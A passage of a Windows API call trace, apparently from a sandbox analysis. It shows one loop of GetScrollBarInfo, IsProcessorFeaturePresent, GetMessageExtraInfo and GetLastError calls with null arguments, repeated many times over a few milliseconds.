psbi=0x0) returned 0 [0042.351] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.351] GetMessageExtraInfo () returned 0x0 [0042.351] GetLastError () returned 0x578 [0042.351] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.351] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.351] GetMessageExtraInfo () returned 0x0 [0042.351] GetLastError () returned 0x578 [0042.352] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.352] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.352] GetMessageExtraInfo () returned 0x0 [0042.352] GetLastError () returned 0x578 [0042.352] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.352] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.352] GetMessageExtraInfo () returned 0x0 [0042.352] GetLastError () returned 0x578 [0042.352] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.352] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.352] GetMessageExtraInfo () returned 0x0 [0042.352] GetLastError () returned 0x578 [0042.352] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.352] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.352] GetMessageExtraInfo () returned 0x0 [0042.352] GetLastError () returned 0x578 [0042.352] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.352] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.352] GetMessageExtraInfo () returned 0x0 [0042.352] GetLastError () returned 0x578 [0042.352] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.352] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.352] GetMessageExtraInfo () returned 0x0 [0042.352] GetLastError () returned 0x578 [0042.352] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.352] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.352] GetMessageExtraInfo () returned 0x0 [0042.352] GetLastError () returned 0x578 [0042.352] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.352] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.352] GetMessageExtraInfo () returned 0x0 [0042.352] GetLastError () returned 0x578 [0042.352] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.352] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.352] GetMessageExtraInfo () returned 0x0 [0042.352] GetLastError () returned 0x578 [0042.352] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.352] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.353] GetMessageExtraInfo () returned 0x0 [0042.353] GetLastError () returned 0x578 [0042.353] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.353] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.353] GetMessageExtraInfo () returned 0x0 [0042.353] GetLastError () returned 0x578 [0042.353] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.353] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.353] GetMessageExtraInfo () returned 0x0 [0042.353] GetLastError () returned 0x578 [0042.353] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.353] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.353] GetMessageExtraInfo () returned 0x0 [0042.353] GetLastError () returned 0x578 [0042.353] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.353] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.353] GetMessageExtraInfo () returned 0x0 [0042.353] GetLastError () returned 0x578 [0042.353] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.353] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.353] GetMessageExtraInfo () returned 0x0 [0042.353] GetLastError () returned 0x578 [0042.353] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.353] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.353] GetMessageExtraInfo () returned 0x0 [0042.353] GetLastError () returned 0x578 [0042.353] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.353] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.353] GetMessageExtraInfo () returned 0x0 [0042.353] GetLastError () returned 0x578 [0042.353] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.353] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.353] GetMessageExtraInfo () returned 0x0 [0042.353] GetLastError () returned 0x578 [0042.353] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.353] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.353] GetMessageExtraInfo () returned 0x0 [0042.353] GetLastError () returned 0x578 [0042.353] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.353] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.354] GetMessageExtraInfo () returned 0x0 [0042.354] GetLastError () returned 0x578 [0042.354] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.354] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.354] GetMessageExtraInfo () returned 0x0 [0042.354] GetLastError () returned 0x578 [0042.354] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.354] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.354] GetMessageExtraInfo () returned 0x0 [0042.354] GetLastError () returned 0x578 [0042.354] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.354] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.354] GetMessageExtraInfo () returned 0x0 [0042.354] GetLastError () returned 0x578 [0042.354] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.354] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.354] GetMessageExtraInfo () returned 0x0 [0042.354] GetLastError () returned 0x578 [0042.354] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.354] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.354] GetMessageExtraInfo () returned 0x0 [0042.354] GetLastError () returned 0x578 [0042.354] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.354] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.354] GetMessageExtraInfo () returned 0x0 [0042.354] GetLastError () returned 0x578 [0042.354] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.354] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.354] GetMessageExtraInfo () returned 0x0 [0042.354] GetLastError () returned 0x578 [0042.354] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.354] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.354] GetMessageExtraInfo () returned 0x0 [0042.354] GetLastError () returned 0x578 [0042.354] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.354] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.354] GetMessageExtraInfo () returned 0x0 [0042.354] GetLastError () returned 0x578 [0042.354] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.355] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.355] GetMessageExtraInfo () returned 0x0 [0042.355] GetLastError () returned 0x578 [0042.355] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.355] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.355] GetMessageExtraInfo () returned 0x0 [0042.355] GetLastError () returned 0x578 [0042.355] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.355] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.355] GetMessageExtraInfo () returned 0x0 [0042.355] GetLastError () returned 0x578 [0042.355] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.355] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.355] GetMessageExtraInfo () returned 0x0 [0042.355] GetLastError () returned 0x578 [0042.355] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.355] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.355] GetMessageExtraInfo () returned 0x0 [0042.355] GetLastError () returned 0x578 [0042.355] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.355] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.355] GetMessageExtraInfo () returned 0x0 [0042.355] GetLastError () returned 0x578 [0042.355] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.355] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.355] GetMessageExtraInfo () returned 0x0 [0042.355] GetLastError () returned 0x578 [0042.355] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.355] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.355] GetMessageExtraInfo () returned 0x0 [0042.355] GetLastError () returned 0x578 [0042.355] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.355] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.355] GetMessageExtraInfo () returned 0x0 [0042.355] GetLastError () returned 0x578 [0042.355] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.355] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.355] GetMessageExtraInfo () returned 0x0 [0042.355] GetLastError () returned 0x578 [0042.355] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.356] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.356] GetMessageExtraInfo () returned 0x0 [0042.356] GetLastError () returned 0x578 [0042.356] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.356] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.356] GetMessageExtraInfo () returned 0x0 [0042.356] GetLastError () returned 0x578 [0042.356] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.356] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.356] GetMessageExtraInfo () returned 0x0 [0042.356] GetLastError () returned 0x578 [0042.356] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.356] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.356] GetMessageExtraInfo () returned 0x0 [0042.356] GetLastError () returned 0x578 [0042.356] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.356] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.356] GetMessageExtraInfo () returned 0x0 [0042.356] GetLastError () returned 0x578 [0042.356] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.356] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.356] GetMessageExtraInfo () returned 0x0 [0042.356] GetLastError () returned 0x578 [0042.356] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.356] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.356] GetMessageExtraInfo () returned 0x0 [0042.356] GetLastError () returned 0x578 [0042.356] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.356] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.356] GetMessageExtraInfo () returned 0x0 [0042.356] GetLastError () returned 0x578 [0042.356] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.356] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.356] GetMessageExtraInfo () returned 0x0 [0042.356] GetLastError () returned 0x578 [0042.356] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.356] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.356] GetMessageExtraInfo () returned 0x0 [0042.356] GetLastError () returned 0x578 [0042.356] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.357] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.357] GetMessageExtraInfo () returned 0x0 [0042.357] GetLastError () returned 0x578 [0042.357] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.357] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.357] GetMessageExtraInfo () returned 0x0 [0042.357] GetLastError () returned 0x578 [0042.357] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.357] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.357] GetMessageExtraInfo () returned 0x0 [0042.357] GetLastError () returned 0x578 [0042.357] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.357] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.357] GetMessageExtraInfo () returned 0x0 [0042.357] GetLastError () returned 0x578 [0042.357] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.357] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.357] GetMessageExtraInfo () returned 0x0 [0042.357] GetLastError () returned 0x578 [0042.357] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.357] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.357] GetMessageExtraInfo () returned 0x0 [0042.357] GetLastError () returned 0x578 [0042.357] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.357] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.357] GetMessageExtraInfo () returned 0x0 [0042.357] GetLastError () returned 0x578 [0042.357] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.357] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.357] GetMessageExtraInfo () returned 0x0 [0042.357] GetLastError () returned 0x578 [0042.357] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.357] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.357] GetMessageExtraInfo () returned 0x0 [0042.357] GetLastError () returned 0x578 [0042.357] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.357] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.357] GetMessageExtraInfo () returned 0x0 [0042.358] GetLastError () returned 0x578 [0042.358] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.358] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.358] GetMessageExtraInfo () returned 0x0 [0042.358] GetLastError () returned 0x578 [0042.358] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.358] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.358] GetMessageExtraInfo () returned 0x0 [0042.358] GetLastError () returned 0x578 [0042.358] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.358] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.358] GetMessageExtraInfo () returned 0x0 [0042.358] GetLastError () returned 0x578 [0042.358] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.358] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.358] GetMessageExtraInfo () returned 0x0 [0042.358] GetLastError () returned 0x578 [0042.358] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.358] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.358] GetMessageExtraInfo () returned 0x0 [0042.358] GetLastError () returned 0x578 [0042.358] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.358] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.358] GetMessageExtraInfo () returned 0x0 [0042.358] GetLastError () returned 0x578 [0042.358] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.358] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.358] GetMessageExtraInfo () returned 0x0 [0042.358] GetLastError () returned 0x578 [0042.358] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.358] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.358] GetMessageExtraInfo () returned 0x0 [0042.358] GetLastError () returned 0x578 [0042.358] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.358] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.358] GetMessageExtraInfo () returned 0x0 [0042.358] GetLastError () returned 0x578 [0042.359] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.359] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.359] GetMessageExtraInfo () returned 0x0 [0042.359] GetLastError () returned 0x578 [0042.359] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.359] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.359] GetMessageExtraInfo () returned 0x0 [0042.359] GetLastError () returned 0x578 [0042.359] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.360] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.360] GetMessageExtraInfo () returned 0x0 [0042.360] GetLastError () returned 0x578 [0042.360] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.360] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.360] GetMessageExtraInfo () returned 0x0 [0042.360] GetLastError () returned 0x578 [0042.360] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.360] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.360] GetMessageExtraInfo () returned 0x0 [0042.360] GetLastError () returned 0x578 [0042.360] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.360] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.360] GetMessageExtraInfo () returned 0x0 [0042.360] GetLastError () returned 0x578 [0042.360] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.360] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.360] GetMessageExtraInfo () returned 0x0 [0042.360] GetLastError () returned 0x578 [0042.360] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.360] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.360] GetMessageExtraInfo () returned 0x0 [0042.360] GetLastError () returned 0x578 [0042.360] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.360] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.360] GetMessageExtraInfo () returned 0x0 [0042.360] GetLastError () returned 0x578 [0042.360] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.360] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.360] GetMessageExtraInfo () returned 0x0 [0042.360] GetLastError () returned 0x578 [0042.360] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.360] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.360] GetMessageExtraInfo () returned 0x0 [0042.360] GetLastError () returned 0x578 [0042.360] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.360] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.360] GetMessageExtraInfo () returned 0x0 [0042.360] GetLastError () returned 0x578 [0042.361] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.361] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.361] GetMessageExtraInfo () returned 0x0 [0042.361] GetLastError () returned 0x578 [0042.361] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.361] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.361] GetMessageExtraInfo () returned 0x0 [0042.361] GetLastError () returned 0x578 [0042.361] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.361] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.361] GetMessageExtraInfo () returned 0x0 [0042.361] GetLastError () returned 0x578 [0042.361] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.361] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.361] GetMessageExtraInfo () returned 0x0 [0042.361] GetLastError () returned 0x578 [0042.361] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.361] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.361] GetMessageExtraInfo () returned 0x0 [0042.361] GetLastError () returned 0x578 [0042.361] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.361] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.361] GetMessageExtraInfo () returned 0x0 [0042.361] GetLastError () returned 0x578 [0042.361] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.361] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.361] GetMessageExtraInfo () returned 0x0 [0042.361] GetLastError () returned 0x578 [0042.361] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.361] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.361] GetMessageExtraInfo () returned 0x0 [0042.361] GetLastError () returned 0x578 [0042.361] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.361] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.361] GetMessageExtraInfo () returned 0x0 [0042.361] GetLastError () returned 0x578 [0042.361] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.361] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.362] GetMessageExtraInfo () returned 0x0 [0042.362] GetLastError () returned 0x578 [0042.362] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.362] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.362] GetMessageExtraInfo () returned 0x0 [0042.362] GetLastError () returned 0x578 [0042.362] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.362] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.362] GetMessageExtraInfo () returned 0x0 [0042.362] GetLastError () returned 0x578 [0042.362] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.362] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.362] GetMessageExtraInfo () returned 0x0 [0042.362] GetLastError () returned 0x578 [0042.362] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.362] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.362] GetMessageExtraInfo () returned 0x0 [0042.362] GetLastError () returned 0x578 [0042.362] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.362] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.362] GetMessageExtraInfo () returned 0x0 [0042.362] GetLastError () returned 0x578 [0042.362] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.362] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.362] GetMessageExtraInfo () returned 0x0 [0042.362] GetLastError () returned 0x578 [0042.362] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.362] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.362] GetMessageExtraInfo () returned 0x0 [0042.362] GetLastError () returned 0x578 [0042.362] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.362] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.362] GetMessageExtraInfo () returned 0x0 [0042.362] GetLastError () returned 0x578 [0042.362] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.362] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.362] GetMessageExtraInfo () returned 0x0 [0042.362] GetLastError () returned 0x578 [0042.363] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.363] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.363] GetMessageExtraInfo () returned 0x0 [0042.363] GetLastError () returned 0x578 [0042.363] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.363] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.363] GetMessageExtraInfo () returned 0x0 [0042.363] GetLastError () returned 0x578 [0042.363] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.363] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.363] GetMessageExtraInfo () returned 0x0 [0042.363] GetLastError () returned 0x578 [0042.363] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.363] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.363] GetMessageExtraInfo () returned 0x0 [0042.363] GetLastError () returned 0x578 [0042.363] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.363] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.363] GetMessageExtraInfo () returned 0x0 [0042.363] GetLastError () returned 0x578 [0042.363] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.363] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.363] GetMessageExtraInfo () returned 0x0 [0042.363] GetLastError () returned 0x578 [0042.363] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.363] 